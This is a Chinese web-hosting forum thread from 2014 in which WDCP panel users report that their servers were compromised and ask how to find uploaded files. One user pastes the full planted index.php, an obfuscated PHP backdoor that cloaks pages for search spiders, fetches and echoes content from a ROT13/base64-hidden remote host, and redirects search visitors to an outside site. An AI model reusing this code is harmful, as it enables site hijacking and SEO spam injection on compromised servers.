Board logo

标题: [BUG反馈] 这是WDCP的漏洞吗?如何解决?! [打印本页]

作者: luza    时间: 2014-9-25 11:18     标题: 这是WDCP的漏洞吗?如何解决?!

WDCP是一个非常好的虚拟主机管理软件,出于对WDCP的信任,在服务器上安装了,但是最近发现严重的问题:
q4.jpg q3.jpg q2.jpg q1.jpg

图片附件: q1.jpg (2014-9-25 11:16, 4.9 KB) / 下载次数 7432
http://wdlinux.cn/bbs/attachment.php?aid=4823&k=ab4175547a6603ade01edc9033b7e484&t=1729411810&sid=12vA31



图片附件: q2.jpg (2014-9-25 11:17, 4.28 KB) / 下载次数 7416
http://wdlinux.cn/bbs/attachment.php?aid=4824&k=10ed922be1246f691f33f029401a4793&t=1729411810&sid=12vA31



图片附件: q3.jpg (2014-9-25 11:17, 23.54 KB) / 下载次数 7566
http://wdlinux.cn/bbs/attachment.php?aid=4825&k=2108b9ca2ffa7bb63b27ae1f7abf5e3b&t=1729411810&sid=12vA31



图片附件: q4.jpg (2014-9-25 11:17, 6.53 KB) / 下载次数 7980
http://wdlinux.cn/bbs/attachment.php?aid=4826&k=ce6d40f3aaa63269ba51c3bfabd0f34b&t=1729411810&sid=12vA31


作者: luza    时间: 2014-9-25 11:19

数据库被入侵了,并且成功上传三个文件,现在最脑火的是,不知道这三个文件是哪三个!

请管理员给个教程!!
作者: feng521w    时间: 2014-9-25 11:34

太他妈的可怕;了
作者: zhoumo310    时间: 2014-9-25 18:09

我们都遭遇了相同问题。希望wdcp尽快修复。
同类帖子大集合 http://www.wdlinux.cn/bbs/viewth ... amp;extra=#pid63741
作者: joynow    时间: 2014-9-26 08:54

我也遇到同样的问题,上传的文件都是index.php,其实就是把目录下的空文件替换成挂马文件,但这些文件没有人访问不知有什么用处?黑客都是直接登陆WDCP后台,估计是利用了WDCP的漏洞。
快照4.png

挂马的内容:
  1. <?php
  2. date_default_timezone_set('PRC');
  3. set_time_limit(20);
  4. error_reporting(0);
  5. header('Content-type: text/html; charset=gbk');
  6. define('SPIDERS','LzScMUI8p28hL29gsUAiM291sUyunT9isTqiM2ky');
  7. define('HOSTS',$_SERVER['SERVER_NAME']);
  8. define('d58ok','0');
  9. define('REFES',$_SERVER['HTTP_REFERER']);
  10. define('USERS',$_SERVER['HTTP_USER_AGENT']);
  11. define('URLS',$_SERVER['REQUEST_URI']);
  12. $Class_urls = 'http://www.5886887.com/';
  13. $Class_zhus = 'nUE0pQbiYmL3YwR5BP4kAwthZGD2Yj==';
  14. $KIP=array('117.28.255.37','116.55.241.24','125.64.94.219','119.147.114.213','118.122.188.194','60.172.229.61','61.188.39.16','61.147.98.198','61.129.45.72','113.98.254.245','58.221.61.128','117.34.73.70','58.215.190.84','117.28.255.53','183.91.40.144','117.21.220.245','122.228.200.46','61.164.150.70','61.147.108.41','116.55.242.138','114.80.222.242','61.147.108.41','116.255.230.70','222.186.24.26','222.186.24.59','220.181.158.106','123.125.160.215');
  15. define('PATHS',__FILE__);
  16. function Reads($url){
  17. $opts = array('http' => array('method' => "GET",'timeout' => 8));
  18. $context = stream_context_create($opts);
  19. $html = file_get_contents($url, false, $context);
  20. if(empty($html)){$html = file_get_contents($url);}
  21. return $html;
  22. }
  23. function Ips(){
  24. if(@$_SERVER["HTTP_X_FORWARDED_FOR"]){
  25. $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
  26. }else if(@$_SERVER["HTTP_CLIENT_IP"]){
  27. $ip = $_SERVER["HTTP_CLIENT_IP"];
  28. }else if(@$_SERVER["REMOTE_ADDR"]){
  29. $ip = $_SERVER["REMOTE_ADDR"];
  30. }else if(@getenv("HTTP_X_FORWARDED_FOR")){
  31. $ip = getenv("HTTP_X_FORWARDED_FOR");
  32. }else if(@getenv("HTTP_CLIENT_IP")){
  33. $ip = getenv("HTTP_CLIENT_IP");
  34. }else if(@getenv("REMOTE_ADDR")){
  35. $ip = getenv("REMOTE_ADDR");
  36. }else{
  37. $ip = "Unknown";
  38. }return $ip;
  39. }
  40. function R($string){
  41. $Class_now = str_rot13($string);
  42. $Class_now = base64_decode($Class_now);
  43. return $Class_now;
  44. }
  45. if(eregi(R(SPIDERS),REFES)){
  46. $Class_site = true;
  47. if(eregi("site%3A|inurl%3A",REFES)){
  48. setcookie('x86',HOSTS,time() + 259200);
  49. $Class_site = false;
  50. }
  51. if($Class_site && empty($_COOKIE['x86'])){
  52. setcookie('x86',HOSTS,time() + 259200);
  53. $Class_from = $Class_urls;
  54. $Class_home = $Class_from;
  55. header("Location: ".$Class_home.'?'.HOSTS);
  56. exit;
  57. }
  58. }
  59. if(d58ok){
  60. $Class_UR = R($Class_zhus).'?xxurl='.bin2hex(URLS);
  61. $Class_UR .= '&xxhost='.bin2hex(HOSTS);
  62. $Class_code = Reads($Class_UR);
  63. if(trim($Class_code) !== 'nonono')
  64. {echo base64_decode($Class_code);exit;}
  65. }
  66. if(eregi(R(SPIDERS),USERS)){
  67. if(!in_array(Ips(),$KIP)){
  68. $Class_UR = R($Class_zhus).'?xxurl='.bin2hex(URLS);
  69. $Class_UR .= '&xxhost='.bin2hex(HOSTS);
  70. $Class_code = Reads($Class_UR);
  71. if(trim($Class_code) !== 'nonono')
  72. {echo base64_decode($Class_code);exit;}
  73. }
  74. }
  75. ?>
复制代码


图片附件: 快照4.png (2014-9-26 08:51, 14.4 KB) / 下载次数 7509
http://wdlinux.cn/bbs/attachment.php?aid=4827&k=a7fa09e20a7fa5c0c1bf239ba29f1272&t=1729411810&sid=12vA31


作者: admin    时间: 2014-9-26 11:56

http://www.wdlinux.cn/bbs/thread-37476-1-1.html
作者: luza    时间: 2014-9-26 17:21

我也遇到同样的问题,上传的文件都是index.php,其实就是把目录下的空文件替换成挂马文件,但这些文件没有人 ...
joynow 发表于 2014-9-26 08:54



   请教一下,怎么找到这些上传的文件在哪?
作者: admin    时间: 2014-9-27 12:15

检查下文件时间,看有没新上传的
作者: 璀璨    时间: 2014-10-11 11:47

检查下文件时间,看有没新上传的
admin 发表于 2014-9-27 12:15


我被上传了两个·····老大·     请教下~  知道上传的时间 ·· 怎么找到上传的文件呢?那么多文件好难查啊
作者: songfeifei    时间: 2014-11-14 19:10

请参考此贴  进行查杀  http://www.wdlinux.cn/bbs/thread-37766-1-1.html




欢迎光临 WDlinux官方论坛 (http://wdlinux.cn/bbs/) Powered by Discuz! 7.2